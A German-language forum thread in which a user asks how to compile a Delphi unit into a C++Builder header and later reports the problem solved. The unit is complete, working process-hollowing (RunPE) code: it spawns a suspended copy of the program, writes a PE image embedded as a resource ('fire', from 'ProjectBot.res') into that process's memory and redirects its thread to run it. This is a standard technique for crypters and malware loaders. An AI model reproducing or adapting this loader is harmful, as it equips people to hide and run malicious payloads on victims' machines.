pas datei ins project hinzufügen, aber wie?!



  • http://www.coderprofile.com/networks/source-codes/138/execute-resource-directly-in-memory/source-code

    hallo

    Ich versuche den code als pas datei zu kompilieren um eine hpp datei zu erhalten.
    leider bekome ich den fehler linker32 error "cant find PrjRes2Mem.drc" .

    Wie muss der code verändert werden um ihn benützen zu können.
    Ich bin an der Funktion createprocessex interessiert.

    mfg 😃



  • Nachdem ich die pas datei editiert habe, sieht sie nun so aus.

    ich habe statt program CreateProcessFromStream; nun unit CreateProcessFromStream; stehen
    Zusätzlich habe ich noch interface hinzugefügt.

    unit CreateProcessFromStream;
    
    interface
    
    uses
      windows;
    
    type
      TSections = array [0..0] of TImageSectionHeader;
    
    {$APPTYPE CONSOLE}
    {$R 'ProjectBot.res' 'ProjectBot_resources.rc'}
    implementation
    function GetAlignedSize(Size: dword; Alignment: dword): dword;
    begin
      if ((Size mod Alignment) = 0) then
      begin
        Result := Size;
      end
      else
      begin
        Result := ((Size div Alignment) + 1) * Alignment;
      end;
    end;
    
    function ImageSize(Image: pointer): dword;
    var
      Alignment: dword;
      ImageNtHeaders: PImageNtHeaders;
      PSections: ^TSections;
      SectionLoop: dword;
    begin
      ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew));
      Alignment := ImageNtHeaders.OptionalHeader.SectionAlignment;
      if ((ImageNtHeaders.OptionalHeader.SizeOfHeaders mod Alignment) = 0) then
      begin
        Result := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
      end
      else
      begin
        Result := ((ImageNtHeaders.OptionalHeader.SizeOfHeaders div Alignment) + 1) * Alignment;
      end;
      PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
      for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
      begin
        if PSections[SectionLoop].Misc.VirtualSize <> 0 then
        begin
          if ((PSections[SectionLoop].Misc.VirtualSize mod Alignment) = 0) then
          begin
            Result := Result + PSections[SectionLoop].Misc.VirtualSize;
          end
          else
          begin
            Result := Result + (((PSections[SectionLoop].Misc.VirtualSize div Alignment) + 1) * Alignment);
          end;
        end;
      end;
    end;
    
    procedure CreateProcessEx(FileMemory: pointer);
    var
      BaseAddress, Bytes, HeaderSize, InjectSize,  SectionLoop, SectionSize: dword;
      Context: TContext;
      FileData: pointer;
      ImageNtHeaders: PImageNtHeaders;
      InjectMemory: pointer;
      ProcInfo: TProcessInformation;
      PSections: ^TSections;
      StartInfo: TStartupInfo;
    begin
      ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew));
      InjectSize := ImageSize(FileMemory);
      GetMem(InjectMemory, InjectSize);
      try
        FileData := InjectMemory;
        HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
        PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
        for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
        begin
          if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData;
        end;
        CopyMemory(FileData, FileMemory, HeaderSize);
        FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment));
        for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
        begin
          if PSections[SectionLoop].SizeOfRawData > 0 then
          begin
            SectionSize := PSections[SectionLoop].SizeOfRawData;
            if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize;
            CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize);
            FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
          end
          else
          begin
            if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
          end;
        end;
        ZeroMemory(@StartInfo, SizeOf(StartupInfo));
        ZeroMemory(@Context, SizeOf(TContext));
        CreateProcess(nil, pchar(ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
        Context.ContextFlags := CONTEXT_FULL;
        GetThreadContext(ProcInfo.hThread, Context);
        ReadProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes);
        VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        WriteProcessMemory(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes);
        WriteProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes);
        Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
        SetThreadContext(ProcInfo.hThread, Context);
        ResumeThread(ProcInfo.hThread);
      finally
        FreeMemory(InjectMemory);
      end;
    end;
    
    procedure ResourceToMem;
    var
      ResInfo: HRSRC;
      ResSize: LongWord;
      Handle: THandle;
      ResData: Pointer;
    begin
    
      //Locate our resource information from within the resource data
      ResInfo := FindResource(SysInit.HInstance, pchar('fire'), RT_RCDATA);
    
      if ResInfo <> 0 then
      begin
        //Get the size of our resource information
        ResSize := SizeofResource(SysInit.HInstance, ResInfo);
        if ResSize <> 0 then
        begin
          //Get the handle to our resource information
          Handle := LoadResource(SysInit.HInstance, ResInfo);
          if Handle <> 0 then
          begin
            //Store our data into the resource
            ResData := LockResource(Handle);
    
            //Execute it!
            createprocessex(ResData);
          end;
        end;
    end;
    
    end;
    
     begin
    
    end.
    

    Ich erhalte nun eine hpp datei die wie folgt aussieht.
    Ich denke das die Funktionen drin stehen SOLLTEN, was sie aber NICHT sind.
    Kennt sich da wer aus 😃

    // CodeGear C++Builder
    // Copyright (c) 1995, 2010 by Embarcadero Technologies, Inc.
    // All rights reserved
    
    // (DO NOT EDIT: machine generated header) 'CreateProcessFromStream.pas' rev: 22.00
    
    #ifndef CreateprocessfromstreamHPP
    #define CreateprocessfromstreamHPP
    
    #pragma delphiheader begin
    #pragma option push
    #pragma option -w-      // All warnings off
    #pragma option -Vx      // Zero-length empty class member functions
    #pragma pack(push,8)
    #include <System.hpp>	// Pascal unit
    #include <SysInit.hpp>	// Pascal unit
    #include <Windows.hpp>	// Pascal unit
    
    //-- user supplied -----------------------------------------------------------
    
    namespace Createprocessfromstream
    {
    //-- type declarations -------------------------------------------------------
    typedef System::StaticArray<_IMAGE_SECTION_HEADER, 1> TSections;
    
    //-- var, const, procedure ---------------------------------------------------
    
    }	/* namespace Createprocessfromstream */
    #if !defined(DELPHIHEADER_NO_IMPLICIT_NAMESPACE_USE)
    using namespace Createprocessfromstream;
    #endif
    #pragma pack(pop)
    #pragma option pop
    
    #pragma delphiheader end.
    //-- end unit ----------------------------------------------------------------
    #endif	// CreateprocessfromstreamHPP
    


  • habs gelöst XD


Anmelden zum Antworten